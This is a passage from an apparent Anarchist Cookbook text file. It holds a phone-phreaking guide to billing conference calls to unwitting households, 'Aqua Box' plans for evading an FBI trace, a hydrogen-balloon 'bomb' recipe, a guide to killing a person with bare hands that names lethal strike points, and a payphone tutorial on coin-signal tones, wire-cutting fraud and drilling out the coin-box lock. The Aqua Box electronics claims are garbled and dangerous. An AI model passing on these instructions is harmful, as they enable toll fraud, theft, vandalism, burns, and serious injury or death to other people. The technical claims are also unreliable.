  2506. Dial 800-325-4067
  2507. The original residence would answer, then forward the call, a second
  2508. type of ringing would be heard.  When this second residence answers
  2509. simply wait until they hang up.  After about twenty seconds you will
  2510. then receive the original residence's dial tone since it heard 2600hz
  2511. from one end of the line.  Simply dial Alliance from this point and the
  2512. conference will be billed to the original residence.
  2513. These are the four main ways to receive a free conference.  I am sure
  2514. many more exist, but these four are quite handy themselves.
  2515.  
  2516. Logon Procedure:
  2517. ----- ---------
  2518. Once Alliance answers you will hear a two-tone combination.  This is their
  2519. way of saying 'How many people do you want on the conference dude?'
  2520. Simply type in a 2-digit combination, depending on what bridge of Alliance
  2521. you are on, between 10 and 59.  After this either hit '*' to cancel the
  2522. conference size and inout another or hit '#' to continue.
  2523. You are now in Alliance Teleconferencing and are only seconds away from
  2524.  
  2525.  
  2526. having your own roaring conference going strong!!!
  2527.  
  2528. Dialing in Conferees:
  2529. ------- -- ---------
  2530. To dial your first conferee, dial 1+npa+pre+suff and await his/her answer.
  2531.  
  2532. npa=area code
  2533. pre=prefix
  2534. suff=suffix
  2535.  
  2536. If the number is busy, or if no one answers simply hit '*' and your call
  2537. will be aborted.  But, if they do answer, hit the '#' key.
  2538. This will add them to the conference.
  2539. Now commence dialing other conferees.
  2540.  
  2541. Joining Your Conference:
  2542. ------- ---- ----------
  2543. To join your conference from control mode simply hit the '#' key.
  2544. Within a second or two you will be chatting with all your buddies.
  2545. To go back into control mode, simply hit the '#' key again.
  2546.  
  2547. Transferring Control:
  2548. ------------ -------
  2549. To transfer control to another conferee, go into control mode, hit the
  2550. # 6+1+npa+pre+suff of the conferee you wish to give control to. If after,
  2551. you wish to abort this transfer hit the '*' key.
  2552.  
  2553. <note>:Transfer of control is often not available.  When you
  2554. receive a message stating this, you simply cannot transfer control.
  2555.  
  2556. Muted Conferences:
  2557. ----- -----------
  2558. To request a muted conference simply hit the 9 key.  I am not exactly
  2559. sure what a muted conference is but it is probably a way to keep unwanted
  2560. eavesdroppers from listening in.
  2561.  
  2562. Dialing Alliance Operators:
  2563. ------- -------- ---------
  2564. Simply dial 0 as you would from any fone and wait for the operator to
  2565. answer.
  2566.  
  2567. Ending Your Conference:
  2568. ------ ---- ----------
  2569. To end your conference all together, that is kick everyone including
  2570. yourself off, go into control mode and hit '*'...after a few seconds
  2571. simply hang up.  Your conference is over.
  2572.  
  2573. Are Alliance Operators Dangerous?
  2574. --- -------- --------- ---------
  2575. No.  Not in the least.  The worst they can do to you while you are having
  2576. a conference is drop all conferees including yourself.  This is in no
  2577. way harmful, just a little aggravating.
  2578.  
  2579. Alliance and Tracing:
  2580. -------- --- -------
  2581. Alliance can trace, as all citizens of the United States can.
  2582. But this has to all be pre-meditated and AT&T has to be called and it's
  2583. really a large hastle, therefore, it is almost never done.  Alliance simply
  2584.  
  2585.  
  2586. does not want it known that teenagers are phucking them over.
  2587. The only sort of safety equipment Alliance has on-line is a simple pen
  2588. register.  This little device simply records all the numbers of the
  2589. conferees dialed.  No big deal.  All Alliance can do is call up that
  2590. persons
  2591. number, threaten and question.  However, legally, they can do nothing
  2592. because
  2593. all you did was answer your fone.
  2594.  
  2595. <note>:Almost all instructions are told to the person in command by
  2596. Alliance
  2597. recordings.  A lot of this tutorial is just a listing of those
  2598. commands plus information gathered by either myself or the phellow
  2599. phreaks of the world!!!
  2600.  
  2601. (written by the Trooper)
  2602.  
  2603. Aqua Box Plans                                            by Jolly Roger
  2604.  
  2605. Every true phreaker lives in fear of the dreadded F.B.I. 'Lock In Trace.'
  2606. For a long time, it was impossible to escape from the Lock In Trace.
  2607. This box does offer an escape route with simple directions to it.
  2608. This box is quite a simple concept, and almost any phreaker with basic
  2609. electronics knowledge can construct and use it.
  2610.  
  2611. The Lock In Trace
  2612. ------------------
  2613. A lock in trace is a device used by the F.B.I. to lock into the phone
  2614. users location so that he can not hang up while a trace is in progress.
  2615. For those of you who are not familiar with the conecpt of 'locking in',
  2616. then here's a brief desciption. The F.B.I. can tap into a conversation,
  2617. sort of like a three-way call connection. Then, when they get there,
  2618. they can plug electricity into the phone line. All phone connections
  2619. are held open by a certain voltage of electricity.
  2620. That is why you sometimes get static and faint connections when you are
  2621. calling far away, because the electricity has trouble keeping the line
  2622. up. What the lock in trace does is cut into the line and generate that same
  2623. voltage straight into the lines. That way, when you try and hang up,
  2624. voltage
  2625. is retained. Your phone will ring just like someone was calling you
  2626. even after you hang up. (If you have call waiting, you should understand
  2627. better about that, for call waiting intersepts the electricity and makes
  2628. a tone that means someone is going through your line. Then, it is a matter
  2629. of which voltage is higher. When you push down the receiver,then it
  2630. see-saws
  2631. the electricity to the other side. When you have a person on each line
  2632. it is impossible to hang up unless one or both of them will hang up.
  2633. If you try to hang up, voltage is retained, and your phone will ring.
  2634. That should give you an understanding of how calling works. Also, when
  2635. electricity passes through a certain point on your phone, the electricity
  2636. causes a bell to ring, or on some newer phones an electronic ring to
  2637. sound.)
  2638. So, in order to eliminate the trace, you somehow must lower the
  2639. voltage level on your phone line. You should know that every time
  2640. someone else picks up the phone line, then the voltage does decrease
  2641. a little. In the first steps of planning this out, Xerox suggested getting
  2642. about a hundred phones all hooked into the same line that could all
  2643. be taken off the hook at the same time. That would greatly decrease the
  2644.  
  2645.  
  2646. voltage level. That is also why most three-way connections that are using
  2647. the bell service three way calling (which is only $3 a month) become quite
  2648. faint after a while. By now, you should understand the basic idea. You
  2649. have to drain all of the power out of the line so the voltage can
  2650. not be kept up. Rather sudden draining of power could quickly short out
  2651. the F.B.I. voltage machine, because it was only built to sustain
  2652. the exact voltage nessecary to keep the voltage out. For now, imagine
  2653. this. One of the normal Radio Shack generators that you can go
  2654. pick up that one end of the cord that hooks into the central box has a
  2655. phone jack on it and the other has an electrical plug. This way, you
  2656. can "flash" voltage through the line, but cannot drain it. So, some
  2657. modifications have to be done.
  2658.  
  2659. Materials
  2660. ----------
  2661. A BEOC (Basic Electrical Output Socket), like a small lamp-type
  2662. connection, where you just have a simple plug and wire that would plug
  2663. into a light bulb.
  2664. One of cords mentioned above, if you can't find one then construct your
  2665. own... Same voltage connection, but the restrainor must be built in (I.E.
  2666. The central box)
  2667. Two phone jacks (one for the modem, one for if you are being traced to
  2668. plug the aqua box into)
  2669. Some creativity and easy work.
  2670.  
  2671. *Notice: No phones have to be destroyed/modified to make this box, so
  2672. don't go out and buy a new phone for it!
  2673.  
  2674. Procedure
  2675. ---------
  2676. All right, this is a very simple procedure. If you have the BEOC, it could
  2677. drain into anything: a radio, or whatever. The purpose of having
  2678. that is you are going to suck the voltage out from the phone line into
  2679. the electrical appliance so there would be no voltage left to lock
  2680. you in with.
  2681. 1)Take the connection cord. Examine the plug at the end. It should have
  2682. only two prongs. If it has three, still, do not fear. Make sure the
  2683. electrical appliance is turned off unless you wanna become a crispy critter
  2684. while making this thing. Most plugs will have a hard plastic design on the
  2685. top of them to prevent you from getting in at the electrical wires inside.
  2686. Well, remove it. If you want to keep the plug (I don't see why...)
  2687. then just cut the top off. When you look inside, Lo and Behold,
  2688. you will see that at the base of the prongs there are a few wires
  2689. connecting in. Those wires conduct the power into the appliance.
  2690. So, you carefully unwrap those from the sides and pull them out until
  2691. they are about an inch ahead of the prongs. If you don't wanna keep the
  2692. jack, then just rip the prongs out. If you are, cover the prongs with
  2693. insultation tape so they will not connect with the wires when the power
  2694. is being drained from the line.
  2695. 2)Do the same thing with the prongs on the other plug, so you have the
  2696. wires evenly connected. Now, wrap the end of the wires around each other.
  2697. If you happen to have the other end of the voltage cord hooked into the
  2698. phone, stop reading now, you're too fucking stupid to continue. After
  2699. you've wrapped the wires around each other, then cover the whole thing with
  2700. the plugs with insulating tape. Then, if you built your own control box
  2701. or if you bought one, then cram all the wires into it and reclose it.
  2702. That box is your ticket out of this.
  2703. 3)Re-check everything to make sure it's all in place. This is a pretty
  2704.  
  2705.  
  2706. flimsy connection, but on later models when you get more experienced at
  2707. it then you can solder away at it and form the whole device into one
  2708. big box, with some kind of cheap mattel hand-held game inside to be
  2709. the power connector.  In order to use it, just keep this box handy.
  2710. Plug it into the jack if you want, but it will slightly lower the
  2711. voltage so it isn't connected. When you plug it in, if you see sparks,
  2712. unplug it and restart the whole thing. But if it just seems fine then leave
  2713. it.
  2714.  
  2715. Use
  2716. ----
  2717. Now, so you have the whole thing plugged in and all... Do not use this
  2718. unless the situation is desperate! When the trace has gone on, don't
  2719. panic, unplug your phone, and turn on the appliance that it was hooked
  2720. to. It will need energy to turn itself on, and here's a great source...
  2721. The voltage to keep a phone line open is pretty small and a simple light
  2722. bulb should drain it all in and probably short the F.B.I. computer at
  2723. the same time.
  2724.  
  2725. Happy boxing and stay free!               ------------Jolly Roger
  2726.  
  2727.  
  2728. Hindenberg Bomb                                       by the Jolly Roger
  2729.  
  2730. Needed:1 Balloon
  2731. 1 Bottle
  2732. 1 Liquid Plumr
  2733. 1 Piece Aluminum FoilL
  2734. 1 Length Fuse
  2735.  
  2736. Fill the bottle 3/4 full with Liquid Plumr and add a little piece of
  2737. aluminum foil to it. Put the balloon over the neck of the bottle until
  2738. the balloon is full of the resulting gas.  This is highly flammable
  2739. hydrogen.
  2740. Now tie the baloon.  Now light the fuse, and let it rise.
  2741. When the fuse contacts the balloon, watch out!!!
  2742.  
  2743. -------[=How to Kill Someone==]------------[=WITH YOUR BARE HANDS=]-----
  2744.  
  2745.             AN EXCERPT FROM THE ANARCHISTS COOKBOOK.....
  2746.                    Courtesy of the Jolly Roger
  2747.  
  2748. This file will explain the basics of hand-to-hand combat, and will tell
  2749. of the best places to strike and kill an enemy...
  2750. When engaged in hand-to-hand combat, your life is always at stake.
  2751. There is only one purpose in combat, and that is to kill your enemy.
  2752. Never face an enemy with the idea of knocking him out.
  2753. The chances are extremely good that he will kill YOU instead.
  2754. When a weapon is not available, one must resort to the full
  2755. use of his natural weapons. The natural weapons are:
  2756.  
  2757. 1. The knife edge of your hands.
  2758. 2. Fingers folded at the second joint or knuckle.
  2759. 3. The protruding knuckle of your second finger.
  2760. 4. The heel of your hand.
  2761. 5. Your boot
  2762. 6. Elbows
  2763. 7. Knees
  2764.  
  2765.  
  2766. 8. and Teeth.
  2767.  
  2768. Attacking is a primary factor. A fight was never
  2769. won by defensive action. Attack with all of your strength.
  2770. At any point or any situation, some vulnerable point on your enemies
  2771. body will be open for attack. Do this while screaming as screaming has
  2772. two purposes.
  2773.  
  2774. 1. To frighten and confuse your enemy.
  2775. 2. To allow you to take a deep breath which, in turn, will put
  2776. more oxygen in your blood stream. Your balance and balance of your
  2777. enemy are two inportant factors; since, if you succeed in making
  2778. your enemy lose his balance, the chances are nine to
  2779. one that you can kill him in your next move. The best over-all
  2780. stance is where your feet are spread about shoulders width apart,
  2781. with your right foot about a foot ahead of the left. Both arms
  2782. should be bent at the elbows parallel to each other. Stand on the
  2783. balls of your feet and bend your waist slightly. Kinda of like a
  2784. boxer's crouch. Employing a sudden movement or a scream or yell can
  2785. throw your enemy off-balance. There are many vulnerable points of
  2786. the body. We will cover them now:
  2787.  
  2788. Eyes:Use your fingers in a V-shape and attack in gouging motion.
  2789.  
  2790. Nose:(Extremely vulnerable) Strike with the knife edge of the hand
  2791. along the bridge, which will cause breakage, sharp pain, temporary
  2792. blindness, and if the blow is hard enough, death. Also, deliver a blow
  2793. with the heel of your hand in an upward motion, this≡ ≡will shove the
  2794. bone up into the brain causing death.
  2795.  
  2796. Adam's Apple: This spot is usually pretty well protected, but if you
  2797. get the chance, strike hard with the knife edge of your hand. This
  2798. should sever the wind-pipe, and then it's all over in a matter of
  2799. minutes.
  2800.  
  2801. Temple: There is a large artery up here, and if you hit it hard
  2802. enough, it will cause death. If you manage to knock your enemy down,
  2803. kick him in the temple, and he'll never get up again.
  2804.  
  2805. Back of the Neck: A rabbit punch, or blow delivered to the base of
  2806. the neck can easily break it, but to be safe, it is better to
  2807. use the butt of a gun or some other heavy blunt object.
  2808. Upper lip: A large network of nerves are located. These nerves are
  2809. extrememly close to the skin. A sharp upward blow will cause extreme
  2810. pain, and unconciosness.
  2811.  
  2812. Ears: Coming up from behind an enemy and cupping the hands in a clapping
  2813. motion over the victims ears can kill him immediately. The vibrations
  2814. caused from the clapping motion will burst his eardrums, and cause
  2815. internal bleeding in the brain.
  2816.  
  2817. Groin: A VERY vulnerable spot. If left open, get it with knee
  2818. hard, and he'll buckle over very fast.
  2819.  
  2820. Kidneys: A large nerve that branches off to the spinal cord comes very
  2821. close to the skin at the kidneys. A direct blow with the knife edge
  2822. of your hand can cause death.
  2823.  
  2824.  
  2825.  
  2826. There are many more ways to kill and injure an enemy, but these should
  2827. work best for the average person. This is meant only as information
  2828. and I would not recommend that you use this for a simple High School Brawl.
  2829. Use these methods only, in your opinion, if your life is in danger.
  2830. Any one of these methods could very easily kill or cause permanent damage
  2831. to someone. One more word of caution, you should practice these moves
  2832. before using them on a dummy, or a mock battle with a friend.
  2833. (You don't have to actually hit him to practice, just work on accuracy.)
  2834.  
  2835. Phone Systems Tutorial III                      by The Jolly Roger
  2836.  
  2837. PREFACE:
  2838.  
  2839. THIS ARTICLE WILL FOCUS PRIMARILY ON THE STANDARD WESTERN ELECTRIC SINGLE-
  2840. SLOT COIN TELEPHONE (AKA FORTRESS FONE) WHICH CAN BE DIVIDED INTO 3 TYPES:
  2841. - DIAL-TONE FIRST (DTF)
  2842. - COIN-FIRST (CF):  (IE, IT WANTS YOUR $ BEFORE YOU RECEIVE A DIAL TONE)
  2843. - DIAL POST-PAY SERVICE (PP):  YOU PAYAFTER THE PARTY ANSWERS
  2844.  
  2845. DEPOSITING COINS (SLUGS):
  2846. -------------------------
  2847. ONCE YOU HAVE DEPOSITED YOUR SLUG INTO A FORTRESS, IT IS SUBJECTED TO A
  2848. GAMUT OF TESTS. THE FIRST OBSTACAL FOR A SLUG IS THE
  2849. MAGNETIC TRAP.  THIS WILL STOP ANY LIGHT-WEIGHT MAGNETIC SLUGS AND COINS.
  2850. IF IT PASSES THIS, THE SLUG IS THEN CLASSIFIED AS A NICKEL, DIME, OR
  2851. QUARTER.  EACH SLUG IS THEN CHECKED FOR APPROPRIATE SIZE AND WEIGHT.  IF
  2852. THESE
  2853. TESTS ARE PASSED, IT WILL THEN TRAVEL THROUGH A NICKEL, DIME, OR QUARTER
  2854. MAGNET AS APPROPRIATE.  THESE MAGNETS SET UP AN EDDY CURRENT EFFECT WHICH
  2855. CAUSES COINS OF THE APPROPRIATE CHARACTERISTICS TO SLOW DOWN SO THEY
  2856. WILL FOLLOW THE CORRECT TRAJECTORY.  IF ALL GOES WELL, THE COIN WILL FOLLOW
  2857. THE
  2858. CORRECT PATH (SUCH AS BOUNCING OFF OF THE NICKEL ANVIL) WHERE IT WILL
  2859. HOPEFULLY FALL INTO THE NARROW ACCEPTED COIN CHANNEL.
  2860. THE RATHER ELABORATE TESTS THAT ARE PERFORMED AS THE COIN TRAVELS DOWN THE
  2861. COIN CHUTE WILL STOP MOST SLUGS AND OTHER UNDESIRABLE COINS, SUCH AS
  2862. PENNIES, WHICH MUST THEN BE RETRIEVED USING THE COIN RELEASE LEVER.
  2863. IF THE SLUG MIRACULOUSLY SURVIVES THE GAMUT, IT WILL THEN STRIKE THE
  2864. APPROPRIATE TOTALIZER ARM CAUSING A RATCHET WHEEL TO ROTATE ONCE FOR EVERY
  2865. 5-CENT INCREMENT (EG, A QUARTER WILL CAUSE IT TO ROTATE 5 TIMES).
  2866. THE TOTALIZER THEN CAUSES THE COIN SIGNAL OSCILLATOR TO READOUT A DUAL-
  2867. FREQUENCY SIGNAL INDICATING THE VALUE DEPOSITED TO ACTS (A COMPUTER) OR THE
  2868. TSPS OPERATOR. THESE ARE THE SAME TONES USED BY PHREAKS IN THE INFAMOUS RED
  2869. BOXES. FOR A QUARTER, 5 BEEP TONES ARE
  2870. OUTPULSED AT 12-17 PULSES PER SECOND (PPS).  A DIME CAUSES 2 BEEP TONES AT
  2871. 5 - 8.5 PPS WHILE A NICKEL CAUSES ONE BEEP TONE AT 5 - 8.5 PPS.  A BEEP
  2872. CONSISTS OF 2 TONES:  2200 + 1700 HZ. A RELAY IN THE FORTRESS CALLED THE "B
  2873. RELAY" (YES, THERE IS ALSO AN 'A RELAY') PLACES A CAPACITOR ACROSS THE
  2874. SPEECH CIRCUIT DURING TOTALIZER READOUT TO PREVENT THE "CUSTOMER" FROM
  2875. HEARING THE RED BOX TONES. IN OLDER 3 SLOT PHONES:  ONE BELL
  2876. (1050-1100 HZ) FOR A NICKEL, TWO BELLS FOR A DIME, AND ONE GONG (800 HZ)
  2877. FOR A
  2878. QUARTER ARE USED INSTEAD OF THE MODERN DUAL-FREQUENCY TONES.
  2879.  
  2880. =============
  2881. =TSPS & ACTS=
  2882. =============
  2883.  
  2884.  
  2885.  
  2886. WHILE FORTRESSES ARE CONNECTED TO THE CO OF THE AREA, ALL TRANSACTIONS ARE
  2887. HANDLED VIA THE TRAFFIC SERVICE POSITION SYSTEM (TSPS).  IN AREAS THAT
  2888. DO NOT HAVE ACTS, ALL CALLS THAT REQUIRE OPERATOR ASSISTANCE, SUCH AS
  2889. CALLING CARD AND COLLECT, ARE AUTOMATICALLY ROUTED TO A TSPS OPERATOR
  2890. POSITION. IN AN EFFORT TO AUTOMATE FORTRESS
  2891. SERVICE, A COMPUTER SYSTEM KNOWN AS AUTOMATED COIN TOLL SERVICE (ACTS) HAS
  2892. BEEN IMPLEMENTED IN MANY AREAS.  ACTS LISTENS TO THE RED BOX SIGNALS FROM
  2893. THE
  2894. FONES AND TAKES APPROPRIATE ACTION.  IT IS ACTS WHICH SAYS, "TWO DOLLARS
  2895. PLEASE
  2896. (PAUSE) PLEASE DEPOSIT TWO DOLLARS FOR THE NEXT TEN SECONDS" (AND OTHER
  2897. VARIATIONS). ALSO, IF YOU TALK FOR MORE THAN THREE MINUTES AND THEN
  2898. HANG-UP,
  2899. ACTS WILL CALL BACK AND DEMAND YOUR MONEY.  ACTS IS ALSO RESPONSIBLE FOR
  2900. AUTOMATED CALLING CARD SERVICE. ACTS ALSO PROVIDE TROUBLE DIAGNOSIS FOR
  2901. CRAFTSPEOPLE (REPAIRMEN SPECIALIZING IN FORTRESSES).  FOR EXAMPLE, THERE IS
  2902. A
  2903. COIN TEST WHICH IS GREAT FOR TUNING UP RED BOXES.  IN MANY AREAS THIS TEST
  2904. CAN
  2905. BE ACTIVATED BY DIALING 09591230 AT A FORTRESS (THANKS TO KARL MARX FOR
  2906. THIS
  2907. INFORMATION).  ONCE ACTIVATED IT WILL REQUEST THAT YOU DEPOSIT VARIOUS
  2908. COINS.
  2909. IT WILL THEN IDENTIFY THE COIN AND OUTPULSE THE APPROPRIATE RED BOX
  2910. SIGNAL.  THE COINS ARE USUALLY RETURNED WHEN YOU HANG UP.
  2911. TO MAKE SURE THAT THERE IS ACTUALLY MONEY IN THE FONE, THE CO INITIATES A
  2912. "GROUND TEST" AT VARIOUS TIMES TO DETERMINE IF A COIN IS ACTUALLY IN THE
  2913. FONE.  THIS IS WHY YOU MUST DEPOSIT AT LEAST A NICKEL IN ORDER TO USE A RED
  2914. BOX!
  2915.  
  2916. GREEN BOXES:
  2917. ------------
  2918.  
  2919. PAYING THE INITIAL RATE IN ORDER TO USE A RED BOX (ON CERTAIN FORTRESSES)
  2920. LEFT A SOUR TASTE IN MANY RED BOXER'S MOUTHS THUS THE GREEN BOX WAS
  2921. INVENTED.
  2922. THE GREEN BOX GENERATES USEFUL TONES SUCH AS COIN COLLECT, COIN RETURN, AND
  2923. RINGBACK.  THESE ARE THE TONES THAT ACTS OR THE TSPS OPERATOR WOULD SEND TO
  2924. THE CO WHEN APPROPRIATE. UNFORTUNATELY, THE GREEN BOX CANNOT BE USED AT A
  2925. FORTRESS STATION BUT IT MUST BE USED BY THE CALLED PARTY.
  2926.  
  2927. HERE ARE THE TONES:
  2928.      COIN COLLECT       700 + 1100 HZ
  2929.      COIN RETURN       1100 + 1700 HZ
  2930.      RINGBACK           700 + 1700 HZ
  2931. BEFORE THE CALLED PARTY SENDS ANY OF THESE TONES, AN OPERATOR RELEASED
  2932. SIGNAL SHOULD BE SENT TO ALERT THE MF DETECTORS AT THE CO.  THIS CAN BE
  2933. ACCOMPLISHED BY SENDING 900 + 1500 HZ OR A SINGLE 2600 HZ WINK (90 MS)
  2934. FOLLOWED BY A 60 MS GAP AND THEN THE APPROPRIATE SIGNAL FOR AT LEAST 900
  2935. MS.
  2936. ALSO, DO NOT FORGET THAT THE INITIAL RATE IS COLLECTED SHORTLY BEFORE THE 3
  2937. MINUTE PERIOD IS UP. INCIDENTALLY, ONCE THE ABOVE MF TONES
  2938. FOR COLLECTING AND RETURNING COINS REACH THE CO, THEY ARE CONVERTED INTO
  2939. AN APPROPRIATE DC PULSE (-130 VOLTS FOR RETURN & +130 VOLTS FOR COLLECT).
  2940. THIS
  2941. PULSE IS THEN SENT DOWN THE TIP TO THE FORTRESS.  THIS CAUSES THE COIN
  2942. RELAY
  2943. TO EITHER RETURN OR COLLECT THE COINS. THE ALLEGED "T-NETWORK" TAKES
  2944.  
  2945.  
  2946. ADVANTAGE
  2947. OF THIS INFORMATION.  WHEN A PULSE FOR COIN COLLECT (+130 VDC) IS SENT DOWN
  2948. THE LINE, IT MUST BE GROUNDED SOMEWHERE.  THIS IS USUALLY EITHER THE
  2949. YELLOW OR BLACK WIRE.  THUS, IF THE WIRES ARE EXPOSED, THESE WIRES CAN BE
  2950. CUT TO PREVENT THE PULSE FROM BEING GROUNDED.  WHEN THE THREE MINUTE
  2951. INITIAL PERIOD IS ALMOST UP, MAKE SURE THAT THE BLACK & YELLOW WIRES ARE
  2952. SEVERED; THEN HANG UP, WAIT ABOUT 15 SECONDS IN CASE OF A SECOND PULSE,
  2953. RECONNECT THE WIRES, PICK UP THE FONE, HANG UP AGAIN, AND IF ALL GOES WELL
  2954. IT
  2955. SHOULD BE "JACKPOT" TIME.
  2956.  
  2957. PHYSICAL ATTACK:
  2958. ----------------
  2959.  
  2960. A TYPICAL FORTRESS WEIGHS ROUGHLY 50 LBS. WITH AN EMPTY COIN BOX.  MOST OF
  2961. THIS IS ACCOUNTED FOR IN THE ARMOR PLATING.  WHY ALL THE SECURITY?  WELL,
  2962. BELL CONTRIBUTES IT TO THE FOLLOWING: "SOCIAL CHANGES DURING THE 1960'S
  2963. MADE THE MULTISLOT COIN STATION A PRIME TARGET FOR:  VANDALISM, STRONG ARM
  2964. ROBBERY, FRAUD, AND THEFT OF SERVICE. THIS BROUGHT ABOUT THE INTRODUCTION
  2965. OF
  2966. THE MORE RUGGED SINGLE SLOT COIN  STATION AND A NEW ENVIRONMENT FOR COIN
  2967. SERVICE." AS FOR PICKING THE LOCK, I WILL QUOTE MR. PHELPS:
  2968. "WE OFTEN FANTASIZE ABOUT 'PICKING THE LOCK' OR 'GETTING A MASTER
  2969. KEY.'  WELL, YOU CAN FORGET ABOUT IT. I DON'T LIKE TO DISCOURAGE PEOPLE,
  2970. BUT
  2971. IT WILL SAVE YOU FROM WASTING ALOT OF OUR TIME--TIME WHICH CAN BE PUT TO
  2972. BETTER USE (HEH, HEH)." AS FOR PHYSICAL ATTACK, THE COIN PLATE
  2973. IS SECURED ON ALL FOUR SIDE BY HARDENED STEEL BOLTS WHICH PASS THROUGH TWO
  2974. SLOTS EACH.  THESE BOLTS ARE IN TURN INTERLOCKED BY THE MAIN LOCK.
  2975. ONE PHREAK I KNOW DID MANAGE TO TAKE ONE OF THE 'MOTHERS' HOME (WHICH WAS
  2976. ATTACHED TO A PIECE OF PLYWOOD AT A CONSTRUCTION SITE; OTHERWISE, THE
  2977. PERMANENT ONES ARE A BITCH TO DETACH FROM THE WALL!).  IT TOOK HIM ALMOST
  2978. TEN HOURS TO OPEN THE COIN BOX USING A POWER DRILL, SLEDGE HAMMERS, AND
  2979. CROW
  2980. BARS (WHICH WAS EMPTY -- PERHAPS NEXT TIME, HE WILL DEPOSIT A COIN FIRST TO
  2981. HEAR IF IT SLUSHES DOWN NICELY OR HITS THE EMPTY BOTTOM WITH A CLUNK.)
  2982. TAKING THE FONE OFFERS A HIGHER MARGIN OF SUCCESS.  ALTHOUGH THIS MAY BE
  2983. DIFFICULT OFTEN REQUIRING BRUTE FORCE AND THERE HAS BEEN SEVERAL CASES OF
  2984. BACK AXLES BEING LOST TRYING TO TAKE DOWN A FONE!  A QUICK AND DIRTY WAY TO
  2985. OPEN THE COIN BOX IS BY USING A SHOTGUN.  IN DETROIT, AFTER ECOLOGISTS
  2986. CLEANED OUT A MUNICIPAL POND, THEY FOUND 168 COIN PHONE RIFLED.
  2987. IN COLDER AREAS, SUCH AS CANADA, SOME SHREWD PEOPLE TAPE UP THE FONES USING
  2988. DUCT TAPE, POUR IN WATER, AND COME BACK THE NEXT DAY WHEN THE WATER WILL
  2989. HAVE
  2990. FROZE THUS EXPANDING AND CRACKING THE FONE OPEN.
  2991. IN ONE CASE, "UNAUTHORIZED COIN COLLECTORS" WHERE CAUGHT WHEN THEY
  2992. BROUGHT $6,000 IN CHANGE TO A BANK AND THE BANK BECAME SUSPICIOUS...
  2993. AT ANY RATE, THE MAIN LOCK IS AN EIGHT LEVEL TUMBLER LOCATED ON THE RIGHT
  2994. SIDE
  2995. OF THE COIN BOX.  THIS LOCK HAS 390,625 POSSIBLE POSITIONS (5 ^ 8, SINCE
  2996. THERE
  2997. ARE 8 TUMBLERS EACH WITH 5 POSSIBLE POSITIONS) THUS IT IS HIGHLY PICK
  2998. RESISTANT!  THE LOCK IS HELD IN PLACE BY 4 SCREWS.  IF THERE IS SUFFICIENT
  2999. CLEARANCE TO THE RIGHT OF THE FONE, IT IS CONCEIVABLE TO PUNCH OUT THE
  3000. SCREWS
  3001. USING THE DRILLING PATTERN BELOW (PROVIDED BY ALEXANDER MUNDY IN TAP #32):
  3002.  
  3003. ====================================
  3004.  
  3005.  
  3006.                        !!        ^
  3007.                        !!        !
  3008.            ! 1- 3/16 " !!        !
  3009.            !<---   --->!!      1-1/2"
  3010.        --------------------      !
  3011.        !   !           !! !      !
  3012.        !  (+)         (+)-! -----------
  3013.     ---!               !! !      ^
  3014.     !  !               !! ! !
  3015.     !  !        (Z)    !! !      !
  3016.     !  !               !! !   2-3/16"
  3017.     ---!               !! !      !
  3018.        !  (+)         (+) !      !
  3019.        !               !! !      !
  3020.        -------------------- -----------
  3021.                        !!
  3022.                        !!
  3023.         (Z) KEYHOLE   (+) SCREWS
  3024.                        !!
  3025. ===================================
  3026.  
  3027. AFTER THIS IS ACCOMPLISHED, THE LOCK CAN BE PUSHED BACKWARDS DISENGAGING
  3028. THE LOCK FROM THE COVER PLATE.  THE FOUR BOLTS OF THE COVER PLATE CAN THEN
  3029. BE RETRACTED BY TURNING THE BOLTWORKS WITH A SIMPLE KEY IN THE SHAPE OF THE
  3030. HOLE ON THE COIN PLATE (SEE DIAGRAM BELOW).  OF COURSE, THERE ARE OTHER
  3031. METHODS AND DRILLING PATTERNS.
  3032.  
  3033. :-------------------------------------:
  3034.                    _
  3035.                   ! !
  3036.                   ( )
  3037.                   !_!
  3038.                [ROUGHLY]
  3039.     DIAGRAM OF COVER PLATE KEYHOLE
  3040. :-------------------------------------:
  3041.  
  3042. THE TOP COVER USES A SIMILAR (BUT NOT AS STRONG) LOCKING METHOD WITH THE
  3043. KEYHOLE DEPICTED ABOVE ON THE TOP LEFT HIDE AND A REGULAR LOCK (PROBABLY
  3044. TUMBLER ALSO) ON THE TOP RIGHT-HAND SIDE. IT IS INTERESTING TO EXPERIMENT
  3045. WITH THE COIN SHUTE AND THE FORTRESSES OWN "RED BOX" (WHICH BELL DIDN'T
  3046. HAVE
  3047. THE 'BALLS' TO COLOR RED).
  3048.  
  3049. MISCELLANEOUS:
  3050. --------------
  3051.  
  3052. IN A FEW AREAS (RURAL & CANADA), POST-PAY SERVICE EXISTS.  WITH THIS TYPE
  3053. OF
  3054. SERVICE, THE MOUTHPIECE IS CUT OFF UNTIL THE CALLER DEPOSITS MONEY WHEN
  3055. THE CALLED PARTY ANSWERS.  THIS ALSO ALLOWS FOR FREE CALLS TO WEATHER AND
  3056. OTHER DIAL-IT SERVICES!  RECENTLY, 2600 MAGAZINE ANNOUNCED THE CLEAR BOX
  3057. WHICH
  3058. CONSISTS OF A TELEPHONE PICKUP COIL AND A SMALL AMP.  IT IS BASED ON THE≡ ≡
  3059. RINCIPAL THAT THE RECEIVER IS ALSO A WEAK TRANSMITTER AND THAT BY
  3060. AMPLIFYING
  3061. YOUR SIGNAL YOU CAN TALK VIA THE TRANSMITTER THUS AVOIDING COSTLY
  3062. TELEPHONE CHARGES! MOST FORTRESSES ARE FOUND IN THE 9XXX
  3063. AREA.  UNDER FORMER BELL AREAS, THEY USUALLY START AT 98XX (RIGHT BELOW THE
  3064.  
  3065.  
  3066. 99XX OFFICIAL SERIES) AND MOVE DOWNWARD.
  3067. SINCE THE LINE, NOT THE FONE, DETERMINES WHETHER OR NOT A DEPOSIT
  3068. MUST BE MADE, DTF & CHARGE-A-CALL FONES MAKE GREAT EXTENSIONS!
  3069. FINALLY, FORTRESS FONES ALLOW FOR A NEW HOBBY--INSTRUCTION PLATE
  3070. COLLECTING.
  3071. ALL THAT IS REQUIRED IS A FLAT-HEAD SCREWDRIVER AND A PAIR OF NEEDLE-NOSE
  3072. PLIERS.  SIMPLY USE THE SCREWDRIVER TO LIFT UNDERNEATH THE PLATE SO THAT
  3073. YOU
  3074. CAN GRAB IT WITH THE PLIERS AND YANK DOWNWARDS. I WOULD SUGGEST COVERING
  3075. THE
  3076. TIPS OF THE PLIERS WITH ELECTRICAL TAPE TO PREVENT SCRATCHING.  TEN CENT
  3077. PLATES
  3078. ARE DEFINITELY BECOMING A "RARITY!"
  3079.  
  3080. FORTRESS SECURITY:
